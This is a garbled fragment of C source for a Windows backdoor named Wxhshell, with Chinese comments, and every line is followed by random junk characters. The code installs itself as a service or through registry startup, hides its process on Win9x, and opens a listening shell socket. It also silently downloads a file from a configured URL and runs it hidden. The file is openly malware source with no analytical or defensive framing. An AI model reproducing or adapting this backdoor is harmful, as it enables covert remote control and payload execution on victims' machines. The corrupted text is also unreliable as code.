DWORD BasePriority; '^F|k`$r
ULONG UniqueProcessId; \;B$hT7z*
ULONG InheritedFromUniqueProcessId; Zn<(,e
} PROCESS_BASIC_INFORMATION; 61+pryW%g
K*_{Rs0P
PROCNTQSIP NtQueryInformationProcess; l\sS?
\ +?,c\x
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @RoRNat
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !7kLFW
kHJDX;
HANDLE hProcess; \o62OfF!
PROCESS_BASIC_INFORMATION pbi; {glqWFT
v`_i1h9p{
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;vI*ThzdD
if(NULL == hInst ) return 0; Q/3tg
ezg^5o;
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rAlh&
?X
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ER;lkF`RF
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [DotS\p!z
re ]Ste
if (!NtQueryInformationProcess) return 0; r(,= uLc
(DG@<K,6
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /jjW/lr
if(!hProcess) return 0; }rKJeOo^x?
l`v
+sV^1
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }DDVGs[
55>" R{q
CloseHandle(hProcess); 6Q.{llO
J8GXI :y
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); H}) Dcg3
if(hProcess==NULL) return 0; e(OwS?K
v+!y;N;Q
HMODULE hMod; /-!&k
char procName[255]; PwFQ #Z
unsigned long cbNeeded; ?qd,>
IgPV#
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *Fa)\.XX
<&qpl0U)Y
CloseHandle(hProcess); P3>..fhoW
S3ab0JM
if(strstr(procName,"services")) return 1; // 以服务启动 0`VD!_`
H
Z;ZjC*
return 0; // 注册表启动 w+Z- -@\
} "*Lj8C3|n
8
3z'#
// 主模块 :X'*8,]KHH
int StartWxhshell(LPSTR lpCmdLine) z+3<$Z
{ LJRg>8
SOCKET wsl; ZNzR`6}
BOOL val=TRUE;
_'!aj+{
int port=0; &\;<t,3A~
struct sockaddr_in door; T[5gom
P &;y]
,)E
if(wscfg.ws_autoins) Install(); 7ei>L]gm%
y-w2O]
port=atoi(lpCmdLine); q[{:
fH{9]TU_:
if(port<=0) port=wscfg.ws_port; k1ipvKxp:8
JP{UgcaF
WSADATA data; ES^>[2Y
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,sO:$
I#"t'=9H
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ayV6m
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ybo#K
door.sin_family = AF_INET; N=OS\pz
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Yta1`
door.sin_port = htons(port); +68+PhHF
]vm\3=@}9
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 285_|!.Y
closesocket(wsl); 1*Sr5N[=
return 1; uWUR3n
} U{7 3Xax
` *>V6B3
if(listen(wsl,2) == INVALID_SOCKET) { M6J/mOVx5
closesocket(wsl); Uh>.v |P6
return 1; D+f'*|
} }0$mn)*k
Wxhshell(wsl); CV s8s
WSACleanup(); >4,{6<|
b& V`<'{
return 0; 8O;Vl
6G'<[gL
j
} ?8Et[tFg
mKV'jm0
// 以NT服务方式启动 \@i=)dA
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) SC'BmR"ox
{ sYI~dU2H
DWORD status = 0; Wdo#?@m
DWORD specificError = 0xfffffff; UV4u.7y
;;@IfZ ?j
serviceStatus.dwServiceType = SERVICE_WIN32; ?L=A2C\_-
serviceStatus.dwCurrentState = SERVICE_START_PENDING; rnu
e(t
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Xem 05%,
serviceStatus.dwWin32ExitCode = 0; Kh)FyV
serviceStatus.dwServiceSpecificExitCode = 0; _vL<h$vD
serviceStatus.dwCheckPoint = 0; e$/&M*0\f
serviceStatus.dwWaitHint = 0; h2% J/69
;+
G9-
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^|aNG`|O
if (hServiceStatusHandle==0) return; @44P4?;
+jtA&1cf
status = GetLastError(); " \:ced
if (status!=NO_ERROR) &s:=qQa1
{ 1i
u =Y
serviceStatus.dwCurrentState = SERVICE_STOPPED; +3Y!xD?=
serviceStatus.dwCheckPoint = 0; h'l^g%;
serviceStatus.dwWaitHint = 0; 84'?um
serviceStatus.dwWin32ExitCode = status; O-j$vzHpdY
serviceStatus.dwServiceSpecificExitCode = specificError; |q_
!.
a
SetServiceStatus(hServiceStatusHandle, &serviceStatus); =2,0Wo]$
return; -u|l}}bh
} 0 O~p7D
5@ foxI
serviceStatus.dwCurrentState = SERVICE_RUNNING; :M j_2
serviceStatus.dwCheckPoint = 0; kM!V.e[g
serviceStatus.dwWaitHint = 0; ?>V6P_r>
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Tr&E4e
} o'Pu'y
A
W)a">|
// 处理NT服务事件,比如:启动、停止 t[EfOQ
VOID WINAPI NTServiceHandler(DWORD fdwControl) &!jq!u$(
{ #.<V^
switch(fdwControl) 6^;^rUlm
{ Zn&k[?;Al
case SERVICE_CONTROL_STOP: <qhBc:kc
serviceStatus.dwWin32ExitCode = 0; .Pw%DZ'
serviceStatus.dwCurrentState = SERVICE_STOPPED;
-4flV D
serviceStatus.dwCheckPoint = 0; nLy#|C
serviceStatus.dwWaitHint = 0; "!H@k%eAM|
{ se!mb _!
SetServiceStatus(hServiceStatusHandle, &serviceStatus); }>&KUl
} )47MFNr~>
return; ;LRW
8Wd
case SERVICE_CONTROL_PAUSE: i[150g?K
serviceStatus.dwCurrentState = SERVICE_PAUSED; iCTQ]H3
break; 7yI`e*EOD
case SERVICE_CONTROL_CONTINUE: dn,g Z"<
serviceStatus.dwCurrentState = SERVICE_RUNNING; $D'^t(
break; WA.AFt
case SERVICE_CONTROL_INTERROGATE: aV>aiR=
break; .0|=[|
}; RH(V^09[o
SetServiceStatus(hServiceStatusHandle, &serviceStatus); [;KmT{I9
} st/n"HQ
\dq!q=b\
// 标准应用程序主函数 ug*D52?
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) s
/%:dnij
{ n|i"S`
:EZQ'3X
// 获取操作系统版本 3]U]?h
OsIsNt=GetOsVer(); by86zX
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1$ML #5+,
mJC3@V
s
// 从命令行安装 PJgp+u<
if(strpbrk(lpCmdLine,"iI")) Install(); #U=;T]!'$
\t3qS
eWc/
// 下载执行文件 *
OsU Y=;
if(wscfg.ws_downexe) { o>c^aRZ{
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #SkX@sl@
WinExec(wscfg.ws_filenam,SW_HIDE); 8g*hvPc
} *7" L]6
Ht[{ryTxu
if(!OsIsNt) { :?CQuEv-
// 如果时win9x,隐藏进程并且设置为注册表启动 Y
?'tUV
HideProc(); &Un6ay
StartWxhshell(lpCmdLine); PuXUuJx(
} :Q@)*kQH
else /smiopFcq
if(StartFromService()) 5H lWfD
// 以服务方式启动 ksWSMxm
StartServiceCtrlDispatcher(DispatchTable); [vTMS2
else q0O&UE)6Y
// 普通方式启动 lKKERO5+
StartWxhshell(lpCmdLine); ZA\/{Fw
zgKY4R{V
return 0; v-`h>J!Nx
}